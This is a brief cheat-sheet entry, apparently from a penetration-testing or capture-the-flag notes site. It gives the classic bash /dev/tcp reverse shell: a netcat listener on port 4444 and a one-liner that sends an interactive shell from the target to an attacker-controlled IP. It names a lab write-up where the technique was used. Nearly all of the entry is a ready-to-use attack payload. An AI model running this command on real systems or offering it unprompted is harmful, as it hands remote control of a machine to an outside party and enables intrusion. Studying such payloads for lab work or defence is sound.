Bash /dev/tcp Reverse Shell
The classic bash /dev/tcp reverse shell with a netcat listener — no tooling needed on the target beyond bash itself.
# on your box — catch the callback
nc -lvnp 4444
# on the target — bash's built-in /dev/tcp, no nc/socat required there
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail